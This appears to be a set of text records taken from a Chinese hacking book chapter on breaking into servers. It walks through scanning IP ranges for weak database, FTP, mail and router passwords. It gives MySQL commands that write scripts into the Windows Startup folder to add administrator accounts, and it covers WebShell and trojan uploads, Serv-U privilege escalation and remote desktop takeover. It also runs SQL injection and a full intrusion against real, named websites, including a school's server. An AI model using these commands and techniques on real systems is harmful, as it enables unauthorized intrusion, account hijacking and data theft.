    {"text": "（8）熟读网站源代码寻找0day漏洞 目前，很多网站的BBS、Blog、文章系统、内容管理系统都是使用公开发行的版本，通过阅读这些公开程序的源代码，研究和分析系统代码中存在的问题——这些问题极有可能是0day漏洞，找到问题以后就可以利用并实施攻击和控制。"},
    {"text": "01 设置HScan 运行Hscangui程序后，分别设置一个扫描IP段的起始IP地址和结束IP地址，然后在扫描模块中只选中“check MSSQL weak accounts”选项，如图3-21所示。"},
    {"text": "03 连接数据库 选中类型为“MSSQL”的记录，在扫描结果区域单击左键，选择“connect”命令直接连接数据库，连接成功以后如图3-23所示。 图3-23 连接MSSQL数据库 注意 在选择记录时一定要小心，右键是清除（Clean）记录命令，左键是连接（Connect）命令，清除扫描结果以后不能恢复。 04 执行命令 在SQLCMD提示符下分别输入命令“net user”、“net user aspnet aspnet* * * *”、“net localgroup administrators aspnet/add”，查看并添加“aspnet”用户，口令为“aspnet****”，提升“aspnet”用户的权限到Administrators组中，如图3-24所示。 图3-24 执行命令 说明 （1）由于这种弱口令的MSSQL服务器极有可能有多个入侵者进行了扫描，入侵者在入侵成功后会将一些存储过程删除，导致SQLCMD能够连接却不能执行命令。 这个时候，可以通过SQL查询分析器连接该数据库，连接成功后即可查看数据服务器中的数据库，将数据库中表的内容（如user表等）配合Web实施控制。"},
    {"text": "图3-25 查看所有管理员用户 05 执行其他控制命令 在DOS命令提示符界面输入“psexec \\\\218.*.*.212 cmd-u aspnet-paspnet2005”，找出一个DOSShell，可以在该Shell中上传木马程序、开启3389远程终端服务等。"},
    {"text": "目前使用MySQL数据库的服务器一般与Web服务器结合得比较紧密，通过查看MySQL数据库中有关用户及密码信息的表，特别是含有管理员信息的表，结合WebShell等，就可以实施控制。"},
    {"text": "01 设置HScan 设置扫描的起始IP地址和结束IP地址，在扫描模块中选择“check MySQL weak account”选项，如图3-26所示。 设置完毕，在“menu”菜单中选择“start”选项，开始扫描MySQL弱口令。 图3-26 设置MySQL扫描参数 02 查看扫描结果 扫描结束后，在HScan左下方区域会显示详细的扫描结果，如图3-27所示。 图3-27 MySQL扫描结果 03 连接数据库并查看数据库服务器中的数据库 单击选择一条扫描记录，然后单击“connect”命令，连接MySQL数据库。"},
    {"text": "连接成功后会出现MySQL的提示符，在其中输入“show databases;”命令查看数据库服务器中的数据库，如图3-28所示。 图3-28 连接并查看MySQL数据库服务器中的数据库 说明 （1）MySQL数据库开放的端口是3306端口，如果不使用HScan软件直接进行连接，可以使用MySQL数据库连接命令进行连接。"},
    {"text": "“show databases;”命令用于查看数据库服务器中的数据库，“show tables;”命令用于查看当前数据库中的表，“use databasename;”命令表示数据库名称为“databasename”的数据库为当前数据库。"},
    {"text": "04 创建表并将VBS脚本插入表 依次运行以下命令，完成后如图3-29所示。 图3-29 创建表和将VBS脚本插入表中 • show databases; • use test; • show tables; • create table a (cmd text); • insert into a values (\"set wshshell=createobject (\"\"wscript.shell\"\" ) \" ); • insert into a values(\"a=wshshell.run(\" \"cmd.exe/c net user aspnet aspnettest/add \" \",0) \"); • insert into a values (\"b=wshshell.run (\"\"cmd.exe/c net localgroup Administrators aspnet/add\" \",0)\"); • select * from a; 05 导出VBS脚本到启动 使用以下命令将刚才在a表中创建的VBS脚本导出到启动选项中。"},
    {"text": "select * from a into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开始」 菜单\\\\程序\\\\启动\\\\a.vbs\"; 导入成功后，系统重新启动时会自动添加密码为“1”且用户名为“1”的用户到管理员组中。"},
    {"text": "show databases; use test; show tables; create table b (cmd text); insert into b values (\"net user Aspnet 123545345!* /add\"); insert into b values (\"net localgroup administrators Aspnet /add\"); insert into b values (\"del b.bat\"); select * from b into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开始」 菜单\\\\程序\\\\启动\\\\b.bat\"; 该脚本执行后会闪现DOS窗口，如果有权限导入启动选项中，则一定会执行成功。 在虚拟机中通过MySQL连接器连接并执行以上命令后，在“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动”目录中会有刚才导出的b.bat脚本文件，如图3-31所示。 图3-31 导出bat脚本到启动选项 说明 在不同的操作系统中“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动”目录文件名称可能会不同，这个时候将其换成相应的目录名称即可。"},
    {"text": "select * from b into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\b.bat\"; 06 等待重启和实施控制 如果该计算机开放了3389端口，则可以直接进行连接；"},
    {"text": "通过“show databases;”、“show tablesname;”、“select* from tablesname;”等命令可以获取表中的具体内容，而通过查看其中的内容可以进行Web服务器域名信息及一些网站管理员的密码和用户名称的定位。"},
    {"text": "图3-33 获取额外信息 小结 本例通过HScan扫描MySQL口令，扫描出口令以后，借助HScan的MySQL连接功能直接连接MySQL，通过创建表将VBS脚本插入表中，然后再导出到系统的启动目录下，系统重新启动以后，会自动添加用户，进而通过远程终端3389连接该MySQL服务器所在的计算机，成功实施控制。"},
    {"text": "3.1.6 POP3口令扫描案例 现在，很多邮箱服务器都支持POP3功能，通过POP3收取信件，收取信件时仅仅需要提供用户名和密码。 目前有很多工具可以扫描POP3邮件的账号和口令，本例就通过HScan扫描POP3账号进行攻击，获取POP3的账号和口令后，可以查看和发送邮件，并利用社会工程学发送木马邮件等进行攻击。 本例只讲解如何扫描POP3口令，有关社会工程学攻击的案例放在后面的章节讲解。 01 设置HScan 在HScan中分别设置起始和结束扫描POP3的IP地址，然后在扫描参数中选择扫描模块，设置完毕后，单击“menu”菜单中的“start”命令开始扫描。 02 查看扫描结果 扫描结束后，直接打开Hscan.log文件，在其中搜索“pop3scan”，找到结果后，记下账号、口令及对应的IP地址，如图3-34所示。 图3-34 查看POP3扫描结果 03 登录Webmail邮件服务器 在IE浏览器中输入上面的IP地址并打开网页，进入Webmail登录界面，输入用户名和密码，如图3-35所示。 图3-35 登录Webmail邮件服务器 技巧 扫描POP3账号和口令后，在浏览器中输入的IP地址有可能无法打开网页，这时可以借助Google等搜索引擎进行搜索，有时能够直接搜索出该IP地址所在的邮件服务器地址。 04 查看邮件 登录成功后，可以进行所有操作，包括查看邮件及发送邮件等，如图3-36所示。 图3-36 查看邮件 小结 本例主要利用HScan扫描POP3账号和口令。 在扫描POP账号和口令时，只要知道用户账号，结合字典扫描出口令概率还是挺高的。 扫描出账号和对应的口令后，使用它们进行登录。 登录邮件服务器后，可以进行查看邮件、发送邮件及获取该账号的所有邮件内容等操作。"},
    {"text": "3.2 使用HScan扫描及利用漏洞 HScan是一款优秀的扫描软件，它在公开场合出现较少，虽然不如流光、XScan、SuperScan出名，但程序移植性好，不需要安装，速度快，提供HTML报告和Hscan.log两种扫描结果。"},
    {"text": "3.2.1 使用HScan进行扫描 01 设置参数 图3-37 设置HScan参数 运行HScan的GUI版本，依次单击“Parameter”→“Start”命令，在“Parameter Setting”窗口需要设置StartIP、EndIP、MaxThead、MaxHost、TimeOut、SleepTime共6个参数，其中后4个参数有默认值，一般不用修改它们。"},
    {"text": "①“HScan-h 202.12.1.1 202.12.255.255-all”表示扫描主机202.12.1.1～202.12.255.255段所有HScan提供的漏洞及弱口令。 ②“HScan-h www.target.com-all-ping”表示在扫描www.target.com主机之前进行Ping操作，并使用HScan对所有模块进行扫描。 ③“HScan-h 192.168.0.1 192.168.0.254-port-ftp-max 200, 100”：探测网段192.168.0.1～192.168.0.254的端口及FTP弱口令，最大线程为200，主机数量为100台。"},
    {"text": "在DOS环境下直接运行HScan.exe时会显示其使用命令的参数详细说明，如图3-38所示。 图3-38 HScan的DOS扫描版本 （3）在参数设置中还可以指定hosts.txt进行扫描。"},
    {"text": "在HScan的主界面会滚动显示扫描结果，左上方显示的是扫描的命令或者扫描的模块，下方为扫描结果，右侧是扫描的详细信息，如图3-40所示。 图3-40 执行扫描 技巧 如果是在远程终端（肉机）上扫描，运行HScan后，可以在本地断开远程终端连接，使其一直在肉机上扫描。"},
    {"text": "图3-41 HScan扫描报告 04 利用扫描结果 在HScan中有两种方式可以查看扫描结果：一种是在reports目录下查看HTML文件，另一种是直接在HScan的GUI模式下查看。"},
    {"text": "说明 在实际扫描过程中，Hscan.log文件用得比较多。 Hscan.log位于HScan程序目录的Log文件夹下，每次扫描均生成一个Hscan.log，扫描时该文件仅保留最新的扫描日志。 当扫描结果很大时，通过浏览器打开进行查看比较麻烦，而Hscan.log文件却可以通过UltraEdit进行编辑，找出有利用价值的信息，如图3-42所示。 图3-42 查看Hscan.log文件 在GUI模式下进行扫描时，如果存在FTP、MySQL和MSSQL弱口令，则可以直接进行连接。 方法是在HScan扫描器下方选中存在弱口令的记录，单击左键，选择“connect”选项。"},
    {"text": "HScan对扫描FTP、SQL Server 2000、MySQL等弱口令效果很好，效率比较高，扫描一个网段往往会找出几十甚至几百个口令，配合其他工具可以完全控制这些弱口令计算机。"},
    {"text": "3.2.2 HScan扫描FTP口令控制案例一 本案例主要利用HScan的扫描结果，通过UltraEdit编辑器的处理后，得到一些非匿名用户的FTP口令，然后对这些IP地址进行3389端口扫描，得到开放3389端口的IP地址，最后反向查找这些IP地址的FTP用户名和口令，并用这些用户名和口令进行3389登录。"},
    {"text": "01 打开Hscan.log文件 打开Hscan.log文件后，其结果显示如图3-43所示。 图3-43 Hscan.log文件结构 说明 （1）如果扫描时选择了其他模块，则会在log文件中有对应的标识。 （2）Hscan.log文件是HScan扫描以后的日志文件，虽然HScan扫描完成以后会自动生成一个HTML文件，但由于一般扫描一个网段以后，文件都会超过1MB，所以这时查看网页极为不便。 而log文件中包含了扫描的所有信息，如果是单独针对FTP扫描，则文件中主要包含“IPaddress@ftpscan#Cracked”及“IPaddress@ftpscan#banner”两行，其对应后面扫描的结果，前者为破解的口令和账号，后者为FTP标识。 02 查找已经破解的账号 在使用UltraEdit打开Hscan.log文件后，在其菜单中依次单击“搜索”→“查找”选项，在“查找”对话框中输入“Cracked account:”，并选中“列出包含字符串的行”选项，如图3-44所示，然后单击“下一个”按钮。 图3-44 查找已经破解的账号 03 复制查找结果 如果在Hscan.log中有“@ftpscan#Cracked account:”，UltraEdit会自动列出所有包含该字符串的行，如图3-45所示，单击“剪贴板”按钮将所有查找结果复制到剪贴板上。 图3-45 所有查找结果 04 整理查找结果 在UltraEdit中新建一空白文件，然后将剪贴板上的内容粘贴到新文件中，如图3-46所示，在UltraEdit编辑器底部可以看到一共有882条（行）记录，每一个记录（行）对应一个账号。 图3-46 整理查找结果 05 对扫描结果进行处理 选中“@ftpscan#Cracked account:”，在UltraEdit编辑器中依次单击“搜索”→“替换”命令，打开“替换”窗口，在“查找”中输入“@ftpscan#Cracked account:”，将其替换为4个空格，如图3-47所示，然后单击“全部替换”按钮，替换所有“@ftpscan#Cracked account:”字符串。 图3-47 处理扫描结果 说明 替换完成以后，结果如图3-48所示，每一条记录的最前面是IP地址，后面依次为账号和口令，保存结果为210.good.log文件。 图3-48 扫描结果处理完毕 06 编辑扫描3389端口命令 新建一个文件，并将其保存为210.3389.txt，选中并复制210.good.log文件中的所有内容到新建文件210.3389.txt中，然后只选中IP地址，将其余内容全部删除，并在每一个IP地址前面输入“sfind-p 3389”，输入完毕，其结果如图3-49所示。"},
    {"text": "07 执行扫描3389端口命令 选中所有内容，将其复制到DOS命令提示符窗口执行，如图3-50所示。 图3-50 执行扫描3389端口批处理命令 技巧 使用“type sfind.txt |find\"3389 listening\">3399.txt”命令，将sfind扫描结果文件sfind.txt中所有开放3389端口的记录提取，并保存到3389.txt文件中。 08 查找口令 依次选中3389.txt文件中的IP地址，在210.good.log中通过查找命令查找相应的记录。 在本案例中找到IP地址为210. *. *.90的记录，其用户名和口令分别为“test”和“123456”，如图3-51所示。 图3-51 查找口令 09 进行3389登录 打开远程终端连接程序mstsc.exe，输入IP地址、用户名及密码，然后进行连接。"},
    {"text": "图3-52 登录远程终端 说明 在本案例中，为了再次验证我们的思路，随机选择了IP地址210.*.*.16，在210.good.log文件中查找该IP地址记录，其中用户名和口令分别为“Administrator”和“admin”，如图3-53所示。 图3-53 再次查找用户名和口令 在远程终端输入IP地址、用户名和口令，依然连接成功，如图3-54所示。 图3-54 登录其他远程终端 小结 本案例的主要思路是系统用户口令与FTP用户口令相同，而3389远程终端服务只要知道IP地址及相对应的用户名称、密码即可登录系统。"},
    {"text": "3.2.3 HScan扫描FTP口令控制案例二 本案例主要利用HScan扫描出来的FTP主机口令尝试Telnet登录，Telnet登录成功以后，就如同获得了一个反弹Shell，可以很方便地实施控制。 本案例不再对FTP口令的扫描及口令的整理进行讲解，而是主要阐述如何换一种思路利用这些口令实施控制。"},
    {"text": "01 查看端口开放情况 查看IP地址为218.22.*.＊的主机端口开放情况，运行“sfind-p 218.22.*.*”命令，结果如图3-55所示，说明该计算机开放了FTP及Telnet服务，可以进行FTP及Telnet登录。 图3-55 查看端口开放情况 02 登录Telnet 在DOS提示符下输入命令“Telnet 218.22.*.*”进行登录，输入扫描获取的FTP用户名和口令进行登录，如图3-56所示。 图3-56 使用FTP的用户名和口令进行Telnet登录 03 登录成功 如果用户名和口令正确，则返回一个与DOS环境类似的界面，如图3-57所示。 图3-57 登录Telnet成功 04 开启3389端口并登录 在Telnet窗口中上传一个开启3389远程终端的工具，开启3389端口，同时上传mt.exe。 开启3389端口后，执行“mt-reboot”命令，重启计算机。 计算机重启以后，使用3389登录器进行登录，输入用户名和密码，然后单击“连接”按钮，登录成功，如图3-58所示。 图3-58 登录3389 说明 关于上传文件及3389端口的开启，在后面的案例中有专门介绍。 小结 本案例技术难度不高，主要利用FTP扫描的用户名和口令（可能是系统中的用户和口令）进行Telnet登录，成功以后可以在Telnet中执行各种命令，从而达到完全控制。 3.2.4 HScan扫描FTP口令控制案例三 本案例利用HScan扫描FTP的口令进行服务器的控制，HScan扫描结束后，会自动生成一个HTML网页报告，从网页报告中选择有口令的FTP服务器，通过CuteFTP等FTP客户端软件进行文件的下载和上传。"},
    {"text": "02 使用CuteFTP进行登录 本例中选择CuteFTP软件管理FTP地址，可以根据个人喜好选择不同的FTP管理软件，其目的就是便于进行文件的上传和下载。 在CuteFTP中新建一个站点，在“Label”及“Host address”文本框中均输入IP地址139.175.*.*，在“Username”及“Password”文本框中分别输入对应的用户名和口令，如图3-60所示。 图3-60 使用CuteFTP登录 03 上传和下载文件 在站点管理器中选中刚才添加的FTP主机并进行连接，连接成功后可以看到该FTP主机的FTP目录，然后就可以尝试进行上传和下载了，如图3-61所示。"},
    {"text": "一般情况下，被破解的FTP主机都允许上传文件，可以从以下几种情况上传文件。 ①服务器本身提供Web服务，可以通过访问该FTP主机地址来确定Web服务器是否支持ASP、ASP.NET、JSP脚本等，然后根据Web支持的脚本选择上传WebShell。 ②如果该服务器不提供Web服务，就选择一些具有“诱惑”的木马文件上传，使其主动运行木马程序。 ③如果不能上传，但是可以下载，则可以将该FTP服务器中允许下载的数据下载到本地进行分析，从而查找漏洞。 （2）很多情况下，提供Web服务的FTP服务器会将Web所在文件夹设置为FTP目录，因此，可以通过下载文件到本地来查找数据库口令和程序漏洞。 04 实施控制 本案例中，该FTP服务器支持PHP，因此，可以上传一个PHP的WebShell直接实施控制。"},
    {"text": "3.2.5 HScan扫描FTP口令控制案例四 前面3个案例是通过扫描口令得到的弱口令来实施控制，而本案例则是通过获取的FTP口令登录FTP服务器，然后下载FTP目录下的文件，并对这些文件进行分析和利用，最终成功控制该FTP服务器。 01 下载文件 使用扫描的FTP口令及用户名登录FTP服务器，成功登录以后，查看FTP服务器目录下的所有文件夹及其文件，将文件下载到本地，如图3-62所示。 图3-62 下载FTP文件 技巧 下载FTP文件时，不要将所有文件都进行下载，而是要针对动态脚本文件，如ASP、JSP、PHP等。"},
    {"text": "直接在浏览器地址栏中输入该FTP主机的IP地址，如果能够访问，说明服务器开放了Web服务； 如果不能访问，也可能开放了Web服务，只是服务器只能通过具体的网站地址才能打开。"},
    {"text": "图3-64 获取网站的具体地址 04 再次分析文件 再次对下载的文件进行分析，查找数据库文件。 在本案例中，在下载的文件中找到Access数据库文件main.mdb，如图3-65所示。 图3-65 查找并获取数据库信息 技巧 （1）在下载文件中，可以通过分析某一个文件的代码获取数据库信息。"},
    {"text": "（2）Access数据库及SQL Server数据库文件的连接文件名都很独特，如conn.asp、dbconn.asp等，直接在文件中浏览即可找到。 （3）如果是SQL Server数据库，则会在连接文件中出现数据库用户、连接密码及IP地址等信息。 对于Access数据库，则可以直接查看user、admin及config等表，这些表中往往包含用户名称及密码等信息。"},
    {"text": "05 下载数据库文件 我们已经通过步骤03获取了网站的具体地址，并通过对已下载的文件的分析，知道了数据库文件的具体位置，现在需要尝试能否直接下载数据库文件。"},
    {"text": "直接在浏览器地址栏输入数据库所在的地址，如图3-66所示，成功下载main.mdb数据库文件。 图3-66 下载数据库文件 06 查看数据库并获取数据库密码 打开下载的main.mdb文件，获取users表中的userpwd字段，如图3-67所示。"},
    {"text": "图3-67 获取数据库密码 07 登录后台，查找上传地点 将获取的密码及用户名称“admin”分别输入后台管理验证的用户名称和密码界面进行验证，验证通过后，在后台管理界面查找后台文件管理模块。 后台管理界面一般会有文件上传功能，如图3-68所示。 图3-68 查找后台上传模块 08 上传WebShell并提升权限 在上传模块中尝试上传WebShell，文件上传成功。"},
    {"text": "利用WebShell中的Serv-U提升权限，如图3-69所示，提升权限成功。 图3-69 上传WebShell并提升权限 09 远程登录3389 使用“netstat-an|find \"3389\"”命令查看3389端口是否开放。"},
    {"text": "图3-70 登录3389 小结 本案例通过扫描的FTP用户名和口令登录FTP服务器，然后下载文件，并对文件进行分析，从中找出有用的信息，再通过Google搜索有用信息，利用分析的结果上传WebShell并提升权限，最终成功实施完全控制。"},
    {"text": "3.3 使用X-Scan扫描漏洞 X-Scan是国内非常有名的一款扫描软件。 扫描软件是一把双刃剑，既可以用来扫描系统中是否存在漏洞，发现漏洞修补漏洞，也可以用来发现漏洞，利用漏洞进行攻击。 X-Scan中有21个漏洞及信息获取扫描模块，与HScan相比，增加了Socks5、NNTP、VNC及CVS弱口令获取4个模块。"},
    {"text": "3.3.1 设置扫描IP地址的范围 直接运行X-Scan，在菜单中单击“设置”选项，选择“扫描参数”选项，打开“扫描参数”对话框，设定扫描范围为“218.25.39.1-218.35.39.10”，如图3-71所示。"},
    {"text": "图3-71 指定IP地址范围 技巧 在扫描时，应尽量采取循序渐进的方式，即先通过其他扫描软件或者直接利用X-Scan获取主机开放端口等基本信息，再有针对性地对各种弱口令进行扫描。"},
    {"text": "图3-72 设定扫描模块 说明 在X-Scan中，可以手动设置字典文件。 如图3-73所示，X-Scan默认给了一些包含弱口令的字典文件，在设置字典扫描时，也要遵循循序渐进的方式，先进行简单口令的扫描，再进行复杂口令的扫描。"},
    {"text": "加载完毕，开始扫描，X-Scan界面的左侧区域显示扫描到的端口或者服务，右侧区域上方显示正在扫描的模块或尝试破解的口令等信息，右侧下方区域分别显示扫描的普通信息、漏洞信息和错误信息，如图3-75所示。 图3-75 进行扫描 3.3.5 查看扫描结果 查看X-Scan的扫描结果有两种方式：一种是查看X-Scan主界面右侧下方的普通信息及漏洞信息，另一种是查看由X-Scan扫描完成以后自动生成的HTML报告，如图3-76所示。 图3-76 查看扫描结果 3.3.6 小结 X-Scan是一款强大的扫描工具，目前已经是3.2版本了。 随着功能的增强，在进行扫描时会耗费更多的资源，在本地计算机扫描漏洞效果较好，扫描口令功能不如HScan等扫描软件，如果在肉机上进行扫描比较容易被发现。"},
    {"text": "3.4 使用Acunetix Web Vulnerability Scanner扫描及利用网站漏洞 Acunetix Web Vulnerability Scanner（简称“WVS”）是一个网站及服务器漏洞扫描软件，有收费和免费两种版本，目前的最新版本为9.0build20140422，官方网站是http://www.acunetix.com/。 WVS是国外著名的扫描软件之一，曾被列为“最为流行的Web扫描器之一”（http://sectools.org/web-scanners.html）。"},
    {"text": "3.4.2 使用Acunetix Web Vulnerability Scanner扫描网站漏洞 在WVS菜单中单击“New Scan”选项，打开扫描向导进行相关设置。 如图3-77所示，一般来说，只需要在“Website URL”文本框中输入扫描网站地址，如“http://testaspnet.vulnweb.com”，后续步骤使用默认设置即可。 如果不想使用向导，可以单击“Web Scanner”选项，在“Start URL”文本框中输入网站地址，即可进行扫描。"},
    {"text": "虽然WVS自带HTTP编辑器对SQL注入进行验证，但自动化程度较低，当发现漏洞后，可以通过Havij、Pangolin等SQL注入工具进行注入测试，如图3-79所示，将存在SQL注入的地址放入Havij进行注入测试。"},
    {"text": "图3-79 使用Havij进行SQL注入测试 3.5 使用JSky扫描并渗透某管理系统 JSky（中文名为“竭思”）是深圳市宇造诺赛科技有限公司的产品，是一款简单易用的Web漏洞扫描软件，是一款针对网站漏洞扫描的安全软件。 JSky能够评估一个网站是否安全，对网站进行漏洞分析，判断是否存在漏洞，又称为网站漏洞扫描工具。 JSky作为一款国内著名的网站漏洞扫描工具，提供了网站漏洞扫描服务，即能找出网站中的漏洞。 JSky的网站漏洞检测工具提供网站漏洞检测服务，即通过模拟黑客攻击来评估计算机网站安全性的一种方法。 JSky的渗透测试模块能模拟黑客攻击，让用户立刻掌握问题的严重性。 JSky作为国内著名的扫描器，曾经风靡一时，由于其集成了Pangolin SQL注入攻击工具，所以实用性还是挺高的，在渗透时可以进行交叉扫描，其官方网站为http://www.nosec.org/cn。 目前，JSky的最新版本为3.5.1，网上有破解版本。 3.5.1 使用JSky扫描漏洞点 JSky的安装很简单，按照提示进行简单选择即可使用，其扫描主要是新建扫描，然后设置扫描的一些选项，一般选择默认选项。 直接运行Zwell的JSky扫描工具，新建一个扫描任务，输入网站地址，其他保持默认设置，开始进行检测，很快就会发现一个SQL注入点，如图3-80所示。"},
    {"text": "图3-80 发现SQL注入点 3.5.2 使用Pangonlin进行SQL注入探测 将注入点http://www.wxqxft.com:80/newsinfo.asp?id=170复制到Pangolin的URL文本框中并进行扫描，如图3-81所示，探测到数据库为Access，然后对表和列进行猜测。"},
    {"text": "图3-81 猜测表和列 3.5.3 换一个工具进行检查 Pangolin的检测结果并不理想，仅仅猜出两个表，而且其中的数据也无法全部获取，因此，换用“啊D注入工具”进行测试。"},
    {"text": "在“检测网址”文本框中输入检测地址进行检测，检测完毕后，发现两个SQL注入点，如图3-82所示。 图3-82 使用“啊D注入工具”找到SQL注入点 3.5.4 检测表段和检测字段 如图3-83所示，选择第一个注入点进行注入检测，依次检测表段、检测字段和检测内容，在本次检测中一共获取了3个表，即表vote、manage_user和book。"},
    {"text": "图3-83 猜测表段、字段和内容 图3-84 获取管理员和密码 3.5.5 获取管理员入口和进行登录测试 在安全检测过程中，可以使用多个工具扫描路径及文件。"},
    {"text": "在本例中，既可通过JSky获取网站存在的文件目录，也可以使用“啊D注入工具”扫描管理入口，还可以使用“桂林老兵”的网站安全检测工具猜解路径，如图3-85所示。 图3-85 扫描路径 在实际测试过程中完全可以凭借经验，如输入“http://www.wxqxft.com/manage/manage.asp”进行测试，如图3-86所示，顺利打开后台登录地址。 图3-86 找到后台登录地址 在“用户名”文本框中输入“admin”，在“密码”文本框中输入刚才获取的“2468:<h”，然后单击“登录”按钮尝试登录，结果出现错误信息，如图3-87所示，说明密码不正确。 图3-87 登录失败 实际了解了一下，原来该企业管理系统采用了一种加密方式，获取的密码是加密后的，需要单独进行解密。 直接祭出“fjhh&lqh”编写的后台加密解密器，获取其真实密码“123456a”，如图3-88所示。 再次登录，输入正确的密码，成功进入后台，如图3-89所示。 图3-88 获取后台真实密码 图3-89 成功进入后台 3.5.6 获取漏洞的完整扫描结果及进行安全评估 如图3-90所示，获取了关于该网站系统的漏洞完整扫描结果，一共存在4个SQL注入漏洞，2个跨站脚本漏洞，按照目前安全业界的评估该网站系统应该是紧急高危。"},
    {"text": "图3-92 通杀该类系统 2．其他探讨 就该企业网站系统而言，基本功能能够满足普通企业的建站需求，对提供该代码的网站进行查看后发现，该官方网站根本就没有使用这套代码，或者说，该网站提供给用户的代码就是不安全的代码，这让笔者多少有些不解。 （1）关于该系统的几点总结 • 该套系统的默认管理后台是：http://www.wxqxft.com/manage/manage.asp • 数据库默认地址为：/Database/Datashop.mdb （2）对该系统加密方式的探讨 由于没有该系统的源代码，所以无法进一步查看其相关漏洞情况。"},
    {"text": "3.6 使用Router Scan扫描路由器密码 Router Scan是一款路由器安全测试工具，可以指定IP地址段对路由器进行暴力破解等安全测试，支持TP-LINK、Huawei、Belkin、D-Link等各大品牌型号的路由器。 Router Scan是俄罗斯安全人员开发的一套安全测试工具，目前已经对源代码进行开源，最新版本为2.47，官方网站地址为http://stascorp.com/load/1-1-0-56。"},
    {"text": "3.6.1 运行Router Scan 2.47 Router Scan 2.47有汉化版本，不过有些版本的杀毒软件会提示其携带病毒，所以最好到官方站点下载。 Router Scan是免安装软件，直接运行可执行程序RouterScan.exe即可，其界面如图3-93所示。 Router Scan 2.47在Router Scan 2.44的基础上做了一些改动，可以编辑扫描IP地址范围、自动保存结果，并增加了一些扫描模块。 图3-93 运行Router Scan程序 3.6.2 设置Router Scan扫描参数 下面介绍Router Scan扫描参数的设置。 1．设置扫描端口 在Router Scan中，一共有6个地方需要设置参数，最大线程使用默认值（100）即可，超时也不用修改。"},
    {"text": "如图3-94所示，在弹出的对话框中输入数字端口号即可，如“443”表示对“443”端口进行扫描并破解。 图3-94 增加扫描端口 2．设置扫描IP地址范围 在“Enter IP ranges to scan”（IP地址扫描范围）设置区单击“+”按钮可以增加待扫描IP地址，也可以通过修改ranges.txt文件的内容进行扫描，如扫描IP地址段124.205.0.1～124.205.255.255，表示扫描“124.205”的B段，如图3-95所示，也可以扫描某一个IP地址。"},
    {"text": "图3-95 设置扫描IP地址范围 图3-96 对IP地址段进行编辑 3．设置其他参数 如图3-97所示，默认自动保存扫描结果，可设置扫描代理服务器等信息。"},
    {"text": "图3-97 设置其他参数 4．自定义字典 在扫描软件目录中打开auth_basic.txt文件，如图3-98所示，添加账号和密码，账号和密码用空格隔开，可以使用“//”进行注释，以便维护字典。"},
    {"text": "图3-98 维护字典 3.6.3 查看并分析扫描结果 在Router Scan中提供了扫描状态和结果显示，如图3-99所示，状态和结果都在软件的下方，可以通过“Realtime Stats”、“Good Results”和“Search Results”标签页查看，对扫描的结果，可以选中目标，右键单击直接访问有结果的目标，如图3-100所示。"},
    {"text": "图3-99 查看扫描结果 图3-100 访问被破解目标站点 3.7 通过扫描FTP口令渗透某职教网 一个朋友准备到某职业技术学校读书，该学校号称是“国家级重点中等职业学校”，只要进入该学校，每个学生即可享受3000元国家助学金，该学校网站如图3-101所示。"},
    {"text": "1．获取IP地址信息 直接打开DOS窗口，然后使用“ping www.**j.com”获取该网站的真实IP地址，如图3-102所示，通过ping命令知道，该主机无丢包率，延迟为49。 图3-102 获取IP地址信息 说明 使用ping命令，一方面是为了获取IP地址，另一方面是通过延迟时间判断网络速度，也便于后期对该服务器进行口令检测，如对MySQL、MSSQL、FTP及POP3等口令的检测。 2．初步获取端口开放情况 使用“sfind.exe-p 61.*.*.96”命令获取该职校服务器的端口开放情况，如图3-103所示，该服务器开放了21、80及3389端口，通过端口扫描可以初步判断该服务器为Windows系列。 图3-103 初步获取端口开放情况 技巧 （1）3389端口一般为远程终端服务开放端口，通过该端口可以初步断定该主机为Windows系列主机。 （2）可以先使用3389远程终端连接器连接该IP地址进行登录尝试，如果登录成功，可以看到该操作系统是Windows 2000 Server还是Windows Server 2003。 在本例中，通过3389远程终端连接器连接，获取该系统为Windows 2000 Server操作系统。"},
    {"text": "本次检测中，比较幸运，扫描出该主机IP地址存在弱口令，在本地运行CuteFTP 8.0 Professional，单击“Site Manager”按钮，在其中新建一个站点，输入该主机的IP地址和及取的用户名和密码，最后单击“连接”按钮进行登录尝试，如图3-104所示，登录成功。 图3-104 使用CuteFTP 8.0 Professional连接FTP服务器 2．信息分析 通过CuteFTP 8.0 Professional软件对该FTP服务器的当前用户目录中的内容进行查看，可以看到该FTP目录中存在conn.asp数据库连接文件，在该目录下还可以看到一个比较熟悉的文件——newasp.asp（木马程序常用的文件名）。 将以上文件下载到本地，并通过UltraEdit32编辑器打开conn.asp文件，如图3-105所示，可以知道该Web站点使用的是Access数据库，数据库路径为根目录下的“database\\”，数据库名称为“l***88.asa”，网站系统使用的是PowerEasy（动易网络论坛系列）。"},
    {"text": "1．获取WebShell 在浏览器中输入“网站地址+对应的WebShell地址”，在本例中输入“http://www.n**.com/newasp.asp”，如图3-107所示，该WebShell可以正常运行，说明该Webshell可用。 图3-107 获取WebShell 2．通过WebShell查看文件 在WebShell中输入密码，然后单击“登录”按钮，验证通过，如图3-108所示，可以正常使用该WebShell。 通过该WebShell可以看到该网站的所有文件，还可以进行下载、删除、移动、编辑等操作。 图3-108 通过WebShell查看文件 3．通过Serv-U提升权限 在该WebShell中，单击“Serv-U提权（超强版）”选项，进入提升权限界面，在该界面中使用默认设置即可，单击“提交”按钮将添加密码为“pass13”、用户名称为“user13$”的用户到管理员组中，如图3-109所示。 图3-109 添加用户提升权限 说明 （1）在使用Serv-U提升权限时，一般采用WebShell默认的用户名和密码为佳。"},
    {"text": "5．登录服务器 打开远程终端登录器mstsc.exe，输入刚才添加的用户名和密码，进行登录尝试，登录验证通过后，成功进入该服务器，如图3-110所示。"},
